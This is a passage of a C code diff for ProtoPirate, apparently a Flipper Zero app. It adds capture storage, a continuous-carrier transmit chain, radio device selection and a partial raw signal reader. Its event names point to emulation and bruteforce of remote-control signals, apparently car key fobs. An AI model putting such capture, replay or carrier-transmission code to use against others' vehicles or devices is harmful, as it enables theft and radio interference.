FuriString* file_path = furi_string_alloc();
|
||||
|
||||
if(!protopirate_storage_get_next_filename(protocol_name, file_path)) {
|
||||
FURI_LOG_E(TAG, "Failed to get next filename");
|
||||
furi_string_free(file_path);
|
||||
return false;
|
||||
}
|
||||
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
FlipperFormat* save_file = flipper_format_file_alloc(storage);
|
||||
bool result = false;
|
||||
|
||||
do {
|
||||
if(!flipper_format_file_open_new(save_file, furi_string_get_cstr(file_path))) {
|
||||
FURI_LOG_E(TAG, "Failed to create file");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!flipper_format_write_header_cstr(save_file, "Flipper SubGhz Key File", 1)) {
|
||||
FURI_LOG_E(TAG, "Failed to write header");
|
||||
break;
|
||||
}
|
||||
|
||||
if(!protopirate_storage_write_capture_data(save_file, flipper_format)) {
|
||||
FURI_LOG_E(TAG, "Failed to write capture data");
|
||||
break;
|
||||
}
|
||||
|
||||
if(out_path) furi_string_set(out_path, file_path);
|
||||
|
||||
result = true;
|
||||
FURI_LOG_I(TAG, "Saved capture to %s", furi_string_get_cstr(file_path));
|
||||
|
||||
} while(false);
|
||||
|
||||
flipper_format_free(save_file);
|
||||
furi_string_free(file_path);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
return result;
|
||||
}
|
||||
|
||||
bool protopirate_storage_delete_file(const char* file_path) {
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
bool result = storage_simply_remove(storage, file_path);
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
FURI_LOG_I(TAG, "Delete file %s: %s", file_path, result ? "OK" : "FAILED");
|
||||
return result;
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
// helpers/protopirate_storage.h
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <storage/storage.h>
|
||||
#include <flipper_format/flipper_format.h>
|
||||
|
||||
#define PROTOPIRATE_APP_FOLDER APP_DATA_PATH("saved")
|
||||
#define PROTOPIRATE_APP_EXTENSION ".psf"
|
||||
#define PROTOPIRATE_APP_FILE_VERSION 1
|
||||
#define PROTOPIRATE_TEMP_FILE APP_DATA_PATH("saved/.temp.psf")
|
||||
#define PROTOPIRATE_CACHE_FOLDER APP_DATA_PATH("cache")
|
||||
#define PROTOPIRATE_HISTORY_FOLDER APP_DATA_PATH("cache/history")
|
||||
|
||||
// Initialize storage (create folder if needed)
|
||||
bool protopirate_storage_init(void);
|
||||
|
||||
// Save a capture to a new file (auto-generated name)
|
||||
bool protopirate_storage_save_capture(
|
||||
FlipperFormat* flipper_format,
|
||||
const char* protocol_name,
|
||||
FuriString* out_path);
|
||||
|
||||
// Save a capture to a specific file path (user-chosen name)
|
||||
bool protopirate_storage_save_capture_to_path(FlipperFormat* flipper_format, const char* full_path);
|
||||
|
||||
// Save to temp file for emulation
|
||||
bool protopirate_storage_save_temp(FlipperFormat* flipper_format);
|
||||
|
||||
// Delete temp file
|
||||
void protopirate_storage_delete_temp(void);
|
||||
|
||||
// Get next available filename for a protocol
|
||||
bool protopirate_storage_get_next_filename(const char* protocol_name, FuriString* out_filename);
|
||||
|
||||
// Delete a file
|
||||
bool protopirate_storage_delete_file(const char* file_path);
|
||||
|
||||
// Load a file (caller must close with protopirate_storage_close_file)
|
||||
FlipperFormat* protopirate_storage_load_file(const char* file_path);
|
||||
|
||||
// Close a loaded file (by protopirate_storage_load_file only)
|
||||
void protopirate_storage_close_file(FlipperFormat* flipper_format);
|
||||
|
||||
// Check if file exists
|
||||
bool protopirate_storage_file_exists(const char* file_path);
|
||||
|
||||
bool protopirate_storage_ensure_history_folder(void);
|
||||
|
||||
void protopirate_storage_purge_temp_history_at_startup(void);
|
||||
|
||||
void protopirate_storage_wipe_history_cache(void);
|
||||
|
||||
bool protopirate_storage_save_history_capture(
|
||||
FlipperFormat* flipper_format,
|
||||
uint32_t seq,
|
||||
FuriString* out_path);
|
||||
|
||||
void protopirate_storage_build_history_path(uint32_t seq, FuriString* out);
|
||||
@@ -0,0 +1,273 @@
|
||||
// helpers/protopirate_tx_chain.c
|
||||
#include "protopirate_tx_chain.h"
|
||||
|
||||
#ifdef ENABLE_SHIELD_RX_SCENE
|
||||
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
|
||||
#define TAG "ProtoPirateTxChain"
|
||||
|
||||
#define PROTOPIRATE_TX_CARRIER_PRESET "AM650"
|
||||
#define PROTOPIRATE_TX_POWER_COUNT 9U
|
||||
#define PROTOPIRATE_TX_PRESET_VALUES_AM 8U
|
||||
#define PROTOPIRATE_TX_PRESET_VALUES_COUNT 17U
|
||||
|
||||
static const uint8_t protopirate_tx_power_value[PROTOPIRATE_TX_PRESET_VALUES_COUNT] = {
|
||||
0,
|
||||
0xC0,
|
||||
0xC8,
|
||||
0x84,
|
||||
0x60,
|
||||
0x34,
|
||||
0x1D,
|
||||
0x0E,
|
||||
0x12,
|
||||
0xC0,
|
||||
0xCD,
|
||||
0x86,
|
||||
0x50,
|
||||
0x26,
|
||||
0x1D,
|
||||
0x17,
|
||||
0x03,
|
||||
};
|
||||
|
||||
static size_t
|
||||
protopirate_tx_chain_get_pa_table_offset(const uint8_t* preset_data, size_t preset_size) {
|
||||
size_t offset = 0;
|
||||
while((offset + 1U) < preset_size) {
|
||||
if(preset_data[offset] == 0U) {
|
||||
return (offset + 2U) < preset_size ? offset + 2U : 0U;
|
||||
}
|
||||
offset += 2U;
|
||||
}
|
||||
return 0U;
|
||||
}
|
||||
|
||||
static void protopirate_tx_chain_apply_tx_power(
|
||||
uint8_t* preset_data,
|
||||
size_t preset_size,
|
||||
uint8_t tx_power) {
|
||||
if(!tx_power || tx_power >= PROTOPIRATE_TX_POWER_COUNT) {
|
||||
return;
|
||||
}
|
||||
|
||||
const size_t pa_offset = protopirate_tx_chain_get_pa_table_offset(preset_data, preset_size);
|
||||
if(!pa_offset) {
|
||||
return;
|
||||
}
|
||||
|
||||
const uint8_t fm_byte = preset_data[pa_offset];
|
||||
const uint8_t am_byte = preset_data[pa_offset + 1U];
|
||||
|
||||
if(fm_byte && am_byte) {
|
||||
return;
|
||||
}
|
||||
if(fm_byte) {
|
||||
preset_data[pa_offset] = protopirate_tx_power_value[tx_power];
|
||||
} else if(am_byte) {
|
||||
preset_data[pa_offset + 1U] =
|
||||
protopirate_tx_power_value[PROTOPIRATE_TX_PRESET_VALUES_AM + tx_power];
|
||||
}
|
||||
}
|
||||
|
||||
static uint8_t*
|
||||
protopirate_tx_chain_copy_preset(const uint8_t* src, size_t src_size, size_t* out_size) {
|
||||
if(!src || !src_size || !out_size) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
uint8_t* copy = malloc(src_size);
|
||||
if(!copy) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(copy, src, src_size);
|
||||
*out_size = src_size;
|
||||
return copy;
|
||||
}
|
||||
|
||||
ProtoPirateTxChain* protopirate_tx_chain_alloc(void) {
|
||||
ProtoPirateTxChain* chain = malloc(sizeof(ProtoPirateTxChain));
|
||||
furi_check(chain);
|
||||
memset(chain, 0, sizeof(ProtoPirateTxChain));
|
||||
chain->preset_name = furi_string_alloc();
|
||||
furi_check(chain->preset_name);
|
||||
chain->state = ProtoPirateTxRxStateIDLE;
|
||||
return chain;
|
||||
}
|
||||
|
||||
void protopirate_tx_chain_free(ProtoPirateTxChain* chain) {
|
||||
if(!chain) {
|
||||
return;
|
||||
}
|
||||
|
||||
protopirate_tx_chain_stop(chain);
|
||||
|
||||
if(chain->device) {
|
||||
subghz_devices_idle(chain->device);
|
||||
radio_device_loader_end(chain->device);
|
||||
chain->device = NULL;
|
||||
}
|
||||
|
||||
if(chain->preset_data) {
|
||||
free(chain->preset_data);
|
||||
chain->preset_data = NULL;
|
||||
chain->preset_data_size = 0;
|
||||
}
|
||||
|
||||
if(chain->preset_name) {
|
||||
furi_string_free(chain->preset_name);
|
||||
chain->preset_name = NULL;
|
||||
}
|
||||
|
||||
free(chain);
|
||||
}
|
||||
|
||||
bool protopirate_tx_chain_acquire_device(ProtoPirateTxChain* chain) {
|
||||
furi_check(chain);
|
||||
|
||||
chain->device = radio_device_loader_set(NULL, SubGhzRadioDeviceTypeInternal);
|
||||
if(!chain->device) {
|
||||
FURI_LOG_E(TAG, "Failed to acquire internal radio");
|
||||
return false;
|
||||
}
|
||||
|
||||
if(radio_device_loader_is_external(chain->device)) {
|
||||
FURI_LOG_E(TAG, "Internal radio requested but external was acquired");
|
||||
radio_device_loader_end(chain->device);
|
||||
chain->device = NULL;
|
||||
return false;
|
||||
}
|
||||
|
||||
subghz_devices_reset(chain->device);
|
||||
subghz_devices_idle(chain->device);
|
||||
chain->data_gpio = subghz_devices_get_data_gpio(chain->device);
|
||||
if(!chain->data_gpio) {
|
||||
FURI_LOG_E(TAG, "Internal radio has no data GPIO");
|
||||
radio_device_loader_end(chain->device);
|
||||
chain->device = NULL;
|
||||
return false;
|
||||
}
|
||||
FURI_LOG_I(TAG, "Acquired internal radio for carrier TX");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool protopirate_tx_chain_configure(
|
||||
ProtoPirateTxChain* chain,
|
||||
SubGhzSetting* setting,
|
||||
uint32_t rx_frequency,
|
||||
int32_t offset_hz,
|
||||
uint8_t tx_power) {
|
||||
furi_check(chain);
|
||||
furi_check(setting);
|
||||
|
||||
const uint8_t* source_preset =
|
||||
subghz_setting_get_preset_data_by_name(setting, PROTOPIRATE_TX_CARRIER_PRESET);
|
||||
if(!source_preset) {
|
||||
FURI_LOG_E(TAG, "Carrier preset %s is unavailable", PROTOPIRATE_TX_CARRIER_PRESET);
|
||||
return false;
|
||||
}
|
||||
|
||||
size_t preset_count = subghz_setting_get_preset_count(setting);
|
||||
size_t source_size = 0;
|
||||
for(size_t i = 0; i < preset_count; i++) {
|
||||
if(strcmp(subghz_setting_get_preset_name(setting, i), PROTOPIRATE_TX_CARRIER_PRESET) ==
|
||||
0) {
|
||||
source_size = subghz_setting_get_preset_data_size(setting, i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!source_size) {
|
||||
FURI_LOG_E(TAG, "Carrier preset %s has zero size", PROTOPIRATE_TX_CARRIER_PRESET);
|
||||
return false;
|
||||
}
|
||||
|
||||
if(chain->preset_data) {
|
||||
free(chain->preset_data);
|
||||
chain->preset_data = NULL;
|
||||
chain->preset_data_size = 0;
|
||||
}
|
||||
|
||||
chain->preset_data =
|
||||
protopirate_tx_chain_copy_preset(source_preset, source_size, &chain->preset_data_size);
|
||||
if(!chain->preset_data) {
|
||||
FURI_LOG_E(TAG, "Failed to copy preset data");
|
||||
return false;
|
||||
}
|
||||
|
||||
protopirate_tx_chain_apply_tx_power(chain->preset_data, chain->preset_data_size, tx_power);
|
||||
furi_string_set(chain->preset_name, PROTOPIRATE_TX_CARRIER_PRESET);
|
||||
|
||||
const int64_t tx_frequency_signed = (int64_t)rx_frequency + offset_hz;
|
||||
if(tx_frequency_signed <= 0 || tx_frequency_signed > UINT32_MAX) {
|
||||
FURI_LOG_E(
|
||||
TAG,
|
||||
"TX offset out of range (rx=%lu offset=%ld)",
|
||||
rx_frequency,
|
||||
(long)offset_hz);
|
||||
return false;
|
||||
}
|
||||
const uint32_t tx_frequency = (uint32_t)tx_frequency_signed;
|
||||
if(!subghz_devices_is_frequency_valid(chain->device, tx_frequency)) {
|
||||
FURI_LOG_E(
|
||||
TAG,
|
||||
"Invalid TX frequency %lu (rx=%lu offset=%ld)",
|
||||
tx_frequency,
|
||||
rx_frequency,
|
||||
(long)offset_hz);
|
||||
return false;
|
||||
}
|
||||
|
||||
chain->frequency = tx_frequency;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool protopirate_tx_chain_start_carrier(ProtoPirateTxChain* chain) {
|
||||
furi_check(chain);
|
||||
if(!chain->device || !chain->data_gpio || !chain->preset_data) {
|
||||
FURI_LOG_E(TAG, "start rejected (incomplete stack)");
|
||||
return false;
|
||||
}
|
||||
if(chain->state == ProtoPirateTxRxStateTx) {
|
||||
return true;
|
||||
}
|
||||
|
||||
subghz_devices_reset(chain->device);
|
||||
subghz_devices_idle(chain->device);
|
||||
subghz_devices_load_preset(chain->device, FuriHalSubGhzPresetCustom, chain->preset_data);
|
||||
subghz_devices_set_frequency(chain->device, chain->frequency);
|
||||
furi_hal_gpio_init(chain->data_gpio, GpioModeOutputPushPull, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_write(chain->data_gpio, true);
|
||||
if(!subghz_devices_set_tx(chain->device)) {
|
||||
FURI_LOG_E(TAG, "Carrier TX rejected on %lu Hz", chain->frequency);
|
||||
furi_hal_gpio_write(chain->data_gpio, false);
|
||||
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
subghz_devices_idle(chain->device);
|
||||
return false;
|
||||
}
|
||||
chain->state = ProtoPirateTxRxStateTx;
|
||||
FURI_LOG_I(TAG, "Carrier TX started on %lu Hz", chain->frequency);
|
||||
return true;
|
||||
}
|
||||
|
||||
void protopirate_tx_chain_stop(ProtoPirateTxChain* chain) {
|
||||
if(!chain) {
|
||||
return;
|
||||
}
|
||||
if(chain->state != ProtoPirateTxRxStateTx) {
|
||||
return;
|
||||
}
|
||||
|
||||
if(chain->device) {
|
||||
subghz_devices_idle(chain->device);
|
||||
}
|
||||
if(chain->data_gpio) {
|
||||
furi_hal_gpio_write(chain->data_gpio, false);
|
||||
furi_hal_gpio_init(chain->data_gpio, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
chain->state = ProtoPirateTxRxStateIDLE;
|
||||
}
|
||||
|
||||
#endif // ENABLE_SHIELD_RX_SCENE
|
||||
@@ -0,0 +1,38 @@
|
||||
// helpers/protopirate_tx_chain.h
|
||||
#pragma once
|
||||
|
||||
#include "protopirate_types.h"
|
||||
|
||||
#ifdef ENABLE_SHIELD_RX_SCENE
|
||||
|
||||
#include <lib/subghz/subghz_setting.h>
|
||||
#include <lib/subghz/devices/devices.h>
|
||||
|
||||
#include "radio_device_loader.h"
|
||||
|
||||
typedef struct {
|
||||
const SubGhzDevice* device;
|
||||
const GpioPin* data_gpio;
|
||||
uint8_t* preset_data;
|
||||
size_t preset_data_size;
|
||||
FuriString* preset_name;
|
||||
uint32_t frequency;
|
||||
ProtoPirateTxRxState state;
|
||||
} ProtoPirateTxChain;
|
||||
|
||||
ProtoPirateTxChain* protopirate_tx_chain_alloc(void);
|
||||
void protopirate_tx_chain_free(ProtoPirateTxChain* chain);
|
||||
|
||||
bool protopirate_tx_chain_acquire_device(ProtoPirateTxChain* chain);
|
||||
|
||||
bool protopirate_tx_chain_configure(
|
||||
ProtoPirateTxChain* chain,
|
||||
SubGhzSetting* setting,
|
||||
uint32_t rx_frequency,
|
||||
int32_t offset_hz,
|
||||
uint8_t tx_power);
|
||||
|
||||
bool protopirate_tx_chain_start_carrier(ProtoPirateTxChain* chain);
|
||||
void protopirate_tx_chain_stop(ProtoPirateTxChain* chain);
|
||||
|
||||
#endif // ENABLE_SHIELD_RX_SCENE
|
||||
@@ -0,0 +1,95 @@
|
||||
// helpers/protopirate_types.h
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include "../defines.h"
|
||||
|
||||
typedef enum {
|
||||
ProtoPirateViewVariableItemList,
|
||||
ProtoPirateViewSubmenu,
|
||||
ProtoPirateViewWidget,
|
||||
ProtoPirateViewReceiver,
|
||||
ProtoPirateViewAbout,
|
||||
ProtoPirateViewFileBrowser,
|
||||
ProtoPirateViewTextInput,
|
||||
#ifdef ENABLE_DUAL_RX_SCENE
|
||||
ProtoPirateViewDualReceiver,
|
||||
#endif
|
||||
} ProtoPirateView;
|
||||
|
||||
typedef enum {
|
||||
// Custom events for views
|
||||
ProtoPirateCustomEventViewReceiverOK,
|
||||
ProtoPirateCustomEventViewReceiverConfig,
|
||||
ProtoPirateCustomEventViewReceiverBack,
|
||||
ProtoPirateCustomEventViewReceiverDeleteItem,
|
||||
ProtoPirateCustomEventViewReceiverUnlock,
|
||||
// Custom events for scenes
|
||||
ProtoPirateCustomEventSceneReceiverUpdate,
|
||||
ProtoPirateCustomEventReceiverDeferredRxStart,
|
||||
ProtoPirateCustomEventSceneSettingLock,
|
||||
// File management
|
||||
ProtoPirateCustomEventReceiverInfoSave,
|
||||
ProtoPirateCustomEventReceiverInfoSaveConfirm,
|
||||
ProtoPirateCustomEventReceiverInfoEmulate,
|
||||
ProtoPirateCustomEventReceiverInfoBruteforceStart,
|
||||
ProtoPirateCustomEventReceiverInfoBruteforceCancel,
|
||||
ProtoPirateCustomEventSavedInfoDelete,
|
||||
// Emulator
|
||||
ProtoPirateCustomEventSavedInfoEmulate,
|
||||
ProtoPirateCustomEventEmulateTransmit,
|
||||
ProtoPirateCustomEventEmulateStop,
|
||||
ProtoPirateCustomEventEmulateExit,
|
||||
// Sub decode
|
||||
ProtoPirateCustomEventSubDecodeUpdate,
|
||||
ProtoPirateCustomEventSubDecodeSave,
|
||||
ProtoPirateCustomEventSubDecodeBruteforceStart,
|
||||
ProtoPirateCustomEventPsaBruteforceComplete,
|
||||
// File Browser
|
||||
ProtoPirateCustomEventSavedFileSelected,
|
||||
// Need saving confirmation
|
||||
ProtoPirateCustomEventSceneStay,
|
||||
ProtoPirateCustomEventSceneExit,
|
||||
// About scene
|
||||
ProtoPirateCustomEventAboutToggleEmulate,
|
||||
#ifdef ENABLE_DUAL_RX_SCENE
|
||||
// Dual RX scene
|
||||
ProtoPirateCustomEventDualReceiverDeferredRxStart,
|
||||
ProtoPirateCustomEventDualReceiverUpdate,
|
||||
ProtoPirateCustomEventViewDualReceiverOK,
|
||||
ProtoPirateCustomEventViewDualReceiverBack,
|
||||
ProtoPirateCustomEventViewDualReceiverDeleteItem,
|
||||
ProtoPirateCustomEventViewDualReceiverConfig,
|
||||
#endif
|
||||
#ifdef ENABLE_SHIELD_RX_SCENE
|
||||
ProtoPirateCustomEventShieldReceiverDeferredStart,
|
||||
ProtoPirateCustomEventShieldReceiverUpdate,
|
||||
#endif
|
||||
} ProtoPirateCustomEvent;
|
||||
|
||||
typedef enum {
|
||||
ProtoPirateLockOff,
|
||||
ProtoPirateLockOn,
|
||||
} ProtoPirateLock;
|
||||
|
||||
typedef enum {
|
||||
ProtoPirateTxRxStateIDLE,
|
||||
ProtoPirateTxRxStateRx,
|
||||
ProtoPirateTxRxStateTx,
|
||||
ProtoPirateTxRxStateSleep,
|
||||
} ProtoPirateTxRxState;
|
||||
|
||||
typedef enum {
|
||||
ProtoPirateHopperStateOFF,
|
||||
ProtoPirateHopperStateRunning,
|
||||
ProtoPirateHopperStatePause,
|
||||
ProtoPirateHopperStateRSSITimeOut,
|
||||
} ProtoPirateHopperState;
|
||||
|
||||
typedef enum {
|
||||
ProtoPirateRxKeyStateIDLE,
|
||||
ProtoPirateRxKeyStateBack,
|
||||
ProtoPirateRxKeyStateStart,
|
||||
ProtoPirateRxKeyStateAddKey,
|
||||
} ProtoPirateRxKeyState;
|
||||
@@ -0,0 +1,142 @@
|
||||
// helpers/radio_device_loader.c
|
||||
#include "radio_device_loader.h"
|
||||
|
||||
#include <applications/drivers/subghz/cc1101_ext/cc1101_ext_interconnect.h>
|
||||
#include <lib/subghz/devices/cc1101_int/cc1101_int_interconnect.h>
|
||||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
#include "../defines.h"
|
||||
|
||||
#define TAG "RadioDeviceLoader"
|
||||
|
||||
static bool radio_device_loader_otg_enabled_by_loader = false;
|
||||
|
||||
static void radio_device_loader_power_on() {
|
||||
uint8_t attempts = 0;
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
// CC1101 power-up time
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
if(furi_hal_power_is_otg_enabled()) {
|
||||
radio_device_loader_otg_enabled_by_loader = true;
|
||||
}
|
||||
FURI_LOG_D(TAG, "OTG power enabled after %d attempts", attempts);
|
||||
}
|
||||
|
||||
static void radio_device_loader_power_off() {
|
||||
if(radio_device_loader_otg_enabled_by_loader && furi_hal_power_is_otg_enabled()) {
|
||||
furi_hal_power_disable_otg();
|
||||
radio_device_loader_otg_enabled_by_loader = false;
|
||||
FURI_LOG_D(TAG, "OTG power disabled");
|
||||
}
|
||||
}
|
||||
|
||||
bool radio_device_loader_is_connect_external(const char* name) {
|
||||
bool is_connect = false;
|
||||
bool is_otg_enabled = furi_hal_power_is_otg_enabled();
|
||||
|
||||
if(!is_otg_enabled) {
|
||||
radio_device_loader_power_on();
|
||||
}
|
||||
|
||||
const SubGhzDevice* device = subghz_devices_get_by_name(name);
|
||||
if(device) {
|
||||
is_connect = subghz_devices_is_connect(device);
|
||||
FURI_LOG_D(TAG, "External device '%s' connect check: %s", name, is_connect ? "YES" : "NO");
|
||||
} else {
|
||||
FURI_LOG_W(TAG, "Could not get device by name: %s", name);
|
||||
}
|
||||
|
||||
if(!is_otg_enabled) {
|
||||
radio_device_loader_power_off();
|
||||
}
|
||||
return is_connect;
|
||||
}
|
||||
|
||||
const SubGhzDevice* radio_device_loader_set(
|
||||
const SubGhzDevice* current_radio_device,
|
||||
SubGhzRadioDeviceType radio_device_type) {
|
||||
const SubGhzDevice* target_radio_device = NULL;
|
||||
|
||||
// Decide the target device first (external if requested+present, else internal)
|
||||
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 &&
|
||||
radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
|
||||
radio_device_loader_power_on();
|
||||
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME);
|
||||
if(!target_radio_device) {
|
||||
FURI_LOG_E(TAG, "Failed to get external CC1101 device, falling back to internal");
|
||||
}
|
||||
}
|
||||
|
||||
if(!target_radio_device) {
|
||||
target_radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
||||
if(!target_radio_device) {
|
||||
FURI_LOG_E(TAG, "Failed to get internal CC1101 device");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// If we’re already on the target device, don’t reload
|
||||
if(current_radio_device == target_radio_device) {
|
||||
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
|
||||
FURI_LOG_I(TAG, "External CC1101 already selected");
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "Internal CC1101 already selected");
|
||||
}
|
||||
return target_radio_device;
|
||||
}
|
||||
|
||||
// Cleanly stop the current device before switching
|
||||
if(current_radio_device) {
|
||||
radio_device_loader_end(current_radio_device);
|
||||
}
|
||||
|
||||
// Start the target device
|
||||
subghz_devices_begin(target_radio_device);
|
||||
|
||||
// Log what we ended up with
|
||||
if(target_radio_device == subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME)) {
|
||||
FURI_LOG_I(TAG, "Switched to external CC1101");
|
||||
} else {
|
||||
if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101) {
|
||||
FURI_LOG_I(TAG, "External requested but unavailable; switched to internal CC1101");
|
||||
} else {
|
||||
FURI_LOG_I(TAG, "Switched to internal CC1101");
|
||||
}
|
||||
}
|
||||
|
||||
return target_radio_device;
|
||||
}
|
||||
|
||||
bool radio_device_loader_is_external(const SubGhzDevice* radio_device) {
|
||||
if(!radio_device) {
|
||||
FURI_LOG_W(TAG, "is_external called with NULL device");
|
||||
return false;
|
||||
}
|
||||
|
||||
const SubGhzDevice* internal_device =
|
||||
subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME);
|
||||
bool is_external = (radio_device != internal_device);
|
||||
|
||||
FURI_LOG_D(
|
||||
TAG,
|
||||
"is_external check: device=%p, internal=%p, result=%s",
|
||||
radio_device,
|
||||
internal_device,
|
||||
is_external ? "EXTERNAL" : "INTERNAL");
|
||||
|
||||
return is_external;
|
||||
}
|
||||
|
||||
void radio_device_loader_end(const SubGhzDevice* radio_device) {
|
||||
furi_check(radio_device);
|
||||
|
||||
if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) {
|
||||
subghz_devices_end(radio_device);
|
||||
FURI_LOG_I(TAG, "External radio device ended");
|
||||
} else {
|
||||
FURI_LOG_D(TAG, "Internal radio device - no cleanup needed");
|
||||
}
|
||||
radio_device_loader_power_off();
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
// helpers/radio_device_loader.h
|
||||
#pragma once
|
||||
|
||||
#include <lib/subghz/devices/devices.h>
|
||||
|
||||
#define SUBGHZ_DEVICE_CC1101_INT_NAME "cc1101_int"
|
||||
#define SUBGHZ_DEVICE_CC1101_EXT_NAME "cc1101_ext"
|
||||
|
||||
/** SubGhzRadioDeviceType */
|
||||
typedef enum {
|
||||
SubGhzRadioDeviceTypeInternal,
|
||||
SubGhzRadioDeviceTypeExternalCC1101,
|
||||
} SubGhzRadioDeviceType;
|
||||
|
||||
const SubGhzDevice* radio_device_loader_set(
|
||||
const SubGhzDevice* current_radio_device,
|
||||
SubGhzRadioDeviceType radio_device_type);
|
||||
|
||||
bool radio_device_loader_is_connect_external(const char* name);
|
||||
bool radio_device_loader_is_external(const SubGhzDevice* radio_device);
|
||||
void radio_device_loader_end(const SubGhzDevice* radio_device);
|
||||
@@ -0,0 +1,376 @@
|
||||
#include "raw_file_reader.h"
|
||||
|
||||
#ifdef ENABLE_SUB_DECODE_SCENE
|
||||
#include <stdint.h>
|
||||
#include <toolbox/stream/stream.h>
|
||||
#include <lib/flipper_format/flipper_format.h>
|
||||
#include "../protocols/protocols_common.h"
|
||||
|
||||
#define TAG "RawFileReader"
|
||||
|
||||
static const char local_flipper_format_delimiter = ':';
|
||||
static const char local_flipper_format_comment = '#';
|
||||
static const char local_flipper_format_eoln = '\n';
|
||||
static const char local_flipper_format_eolr = '\r';
|
||||
|
||||
struct FlipperFormat {
|
||||
Stream* stream;
|
||||
bool strict_mode;
|
||||
};
|
||||
|
||||
RawFileReader* raw_file_reader_alloc(void) {
|
||||
RawFileReader* reader = malloc(sizeof(RawFileReader));
|
||||
furi_check(reader);
|
||||
memset(reader, 0, sizeof(RawFileReader));
|
||||
return reader;
|
||||
}
|
||||
|
||||
void raw_file_reader_free(RawFileReader* reader) {
|
||||
if(!reader) return;
|
||||
raw_file_reader_close(reader);
|
||||
free(reader);
|
||||
}
|
||||
|
||||
static inline bool local_flipper_format_stream_is_space(char c) {
|
||||
return c == ' ' || c == '\t' || c == local_flipper_format_eolr;
|
||||
}
|
||||
|
||||
static bool local_flipper_format_stream_read_value(Stream* stream, FuriString* value, bool* last) {
|
||||
enum {
|
||||
LeadingSpace,
|
||||
ReadValue,
|
||||
TrailingSpace
|
||||
} state = LeadingSpace;
|
||||
const size_t buffer_size = 32;
|
||||
uint8_t buffer[buffer_size];
|
||||
bool result = false;
|
||||
bool error = false;
|
||||
|
||||
furi_string_reset(value);
|
||||
|
||||
while(true) {
|
||||
size_t was_read = stream_read(stream, buffer, buffer_size);
|
||||
|
||||
if(was_read == 0) {
|
||||
if(state != LeadingSpace && stream_eof(stream)) {
|
||||
result = true;
|
||||
*last = true;
|
||||
} else {
|
||||
error = true;
|
||||
}
|
||||
}
|
||||
|
||||
for(size_t i = 0; i < was_read; i++) {
|
||||
const uint8_t data = buffer[i];
|
||||
|
||||
if(state == LeadingSpace) {
|
||||
if(local_flipper_format_stream_is_space(data)) {
|
||||
continue;
|
||||
} else if(data == local_flipper_format_eoln) {
|
||||
stream_seek(stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent);
|
||||
error = true;
|
||||
break;
|
||||
} else {
|
||||
state = ReadValue;
|
||||
furi_string_push_back(value, data);
|
||||
}
|
||||
} else if(state == ReadValue) {
|
||||
if(local_flipper_format_stream_is_space(data)) {
|
||||
state = TrailingSpace;
|
||||
} else if(data == local_flipper_format_eoln) {
|
||||
if(!stream_seek(
|
||||
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
|
||||
error = true;
|
||||
} else {
|
||||
result = true;
|
||||
*last = true;
|
||||
}
|
||||
break;
|
||||
} else {
|
||||
furi_string_push_back(value, data);
|
||||
}
|
||||
} else if(state == TrailingSpace) {
|
||||
if(local_flipper_format_stream_is_space(data)) {
|
||||
continue;
|
||||
} else if(!stream_seek(
|
||||
stream, (int32_t)i - (int32_t)was_read, StreamOffsetFromCurrent)) {
|
||||
error = true;
|
||||
} else {
|
||||
*last = (data == local_flipper_format_eoln);
|
||||
result = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(error || result) break;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static bool local_flipper_format_stream_read_valid_key(Stream* stream, FuriString* key) {
|
||||
furi_string_reset(key);
|
||||
const size_t buffer_size = 32;
|
||||
uint8_t buffer[buffer_size];
|
||||
|
||||
bool found = false;
|
||||
bool error = false;
|
||||
bool accumulate = true;
|
||||
bool new_line = true;
|
||||
|
||||
while(true) {
|
||||
size_t was_read = stream_read(stream, buffer, buffer_size);
|
||||
if(was_read == 0) break;
|
||||
|
||||
for(size_t i = 0; i < was_read; i++) {
|
||||
uint8_t data = buffer[i];
|
||||
if(data == local_flipper_format_eoln) {
|
||||
// EOL found, clean data, start accumulating data and set the new_line flag
|
||||
furi_string_reset(key);
|
||||
accumulate = true;
|
||||
new_line = true;
|
||||
} else if(data == local_flipper_format_eolr) {
|
||||
// ignore
|
||||
} else if(data == local_flipper_format_comment && new_line) {
|
||||
